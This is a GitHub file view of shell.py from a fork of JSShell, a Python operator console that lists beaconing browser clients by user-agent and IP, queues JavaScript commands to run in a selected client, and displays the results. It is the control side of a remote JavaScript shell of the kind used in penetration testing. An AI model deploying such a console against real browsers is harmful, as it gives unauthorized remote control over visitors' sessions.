forked from Den1al/JSShell
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathshell.py
More file actions
202 lines (160 loc) · 6.4 KB
/
Copy pathshell.py
File metadata and controls
202 lines (160 loc) · 6.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from app import app, db
from app.models import Client, Command
from prettytable import PrettyTable
# from threading import Thread
from time import sleep
from jsbeautifier import beautify
class InteractiveShell(object):
""" An interactive shell for the JSShell Project """
def __init__(self):
self.stay = True
self.prompt = '>> '
self.current_client_id = 0
def error(self, text):
""" Error print statement """
print('Error:',text)
def client_required(foo):
""" A Decorator to determine whether a client is currently selected or not. """
def wrap(self, *args, **kwargs):
if self.current_client_id and Client.query.filter_by(id=self.current_client_id):
foo(self, *args, **kwargs)
else:
self.error('Client is required for this function.')
return wrap
def list_clients(self):
""" Lists all the clients available """
t = PrettyTable(['#', 'UUID', 'User-Agent', 'IP', 'Last Beacon'])
t.align = 'l'
for c in Client.query.all():
t.add_row([c.id, c.client_id, c.user_agent, c.ip, c.last_beaconed])
print(t)
def help_menu(self):
""" Prints a pretty help menu """
t = PrettyTable(['command', 'description'])
t.align = 'l'
t.add_row(['list', 'Lists all the clients registered'])
t.add_row(['help', 'self.help()'])
t.add_row(['select <id>', 'Selected a specific client from the list'])
t.add_row(['<command>', 'Executes a command to the current selected client'])
t.add_row(['back', 'Detaches from the current client'])
t.add_row(['exit', 'Exists this interactive shell'])
t.add_row(['coms', 'Displays the commands and output for the current client'])
t.add_row(['com <id>', 'Displays a specific command and output for the current client'])
t.add_row(['comk', 'Kills a command ("*" for all)'])
t.add_row(['clik', 'Kills a client ("*" for all)'])
print(t)
def select_client(self, selected_id):
""" Selected a client by ID """
if not selected_id.isdigit():
self.error('Selected ID must be an integer from the list.')
return
i = int(selected_id)
client = Client.query.filter_by(id=i).first()
if not client:
self.error('Selected ID does not exists.')
return
self.prompt = '(Client {}) >> '.format(i)
self.current_client_id = i
def back(self):
""" Detaches from a client """
self.prompt = '>> '
self.current_client_id = 0
@client_required
def execute_command(self, cmd):
""" Executes a command on a client """
client = Client.query.filter_by(id=self.current_client_id).first()
c = Command(cmd)
client.commands.append(c)
db.session.add(c)
db.session.commit()
print('Added task successfully.')
@client_required
def display_commands(self, com_id = None):
""" Displays all the commands executed on a client """
if com_id:
client = Client.query.filter_by(id=self.current_client_id).first()
if not com_id in [str(i.id) for i in client.commands]:
self.error('Selected client does not have this command ID.')
return
com = Command.query.filter_by(id=com_id).first()
print('(Command {}) : \n{}'.format(com.id, beautify(com.cmd)))
print('(Output {}) : \n{}'.format(com.id, beautify(com.output)))
return
t = PrettyTable(['ID', 'Command', 'Output'])
t.align = 'l'
client = Client.query.filter_by(id=self.current_client_id).first()
for com in client.commands:
command, output = com.cmd,com.output
if len(com.output) > 75:
output = com.output[:73] + '...'
if len(com.cmd) > 75:
command = com.cmd[:73] + '...'
t.add_row([com.id, command, output])
print(t)
def watch_for_commands(self):
""" A thread that will watch for incoming commands and print them """
while True:
if not self.current_client_id:
continue
client = Client.query.filter_by(id=self.current_client_id).first()
if not client:
continue
com = client.get_printable()
if not com:
continue
print('(Command {}) >> {}'.format(com.id, com.output))
com.is_printed = True
db.session.commit()
sleep(1)
@client_required
def command_kill(self, command_id):
""" Kills a specific command for a client and removes it from the DB """
if command_id == '*':
Command.query.filter_by(rel_client_id=self.current_client_id).delete()
else:
Command.query.filter_by(id=command_id).delete()
db.session.commit()
def client_kill(self, client_id):
""" Kills a specific client and removes it from the DB """
if client_id == '*':
Client.query.delete()
else:
Client.query.filter_by(id=client_id).delete()
db.session.commit()
def loop(self):
""" The main loop for the class """
print("""
╦╔═╗╔═╗┬ ┬┌─┐┬ ┬
║╚═╗╚═╗├─┤├┤ │ │
╚╝╚═╝╚═╝┴ ┴└─┘┴─┘┴─┘
By @Daniel_Abeles
""")
while self.stay:
op,_,tail = input(self.prompt).strip().partition(' ')
if op == 'exit':
print('Goodbye!')
self.stay = False
# t.join()
elif op == 'help':
self.help_menu()
elif op == 'list':
self.list_clients()
elif op == 'select':
self.select_client(tail)
elif op == 'back':
self.back()
elif op == 'com':
self.display_commands(tail)
elif op == 'coms':
self.display_commands()
elif op == 'comk':
self.command_kill(tail)
elif op == 'clik':
self.client_kill(tail)
elif op == '':
continue
else:
self.execute_command(' '.join([op, tail]))
if __name__ == "__main__":
ints = InteractiveShell()
ints.loop()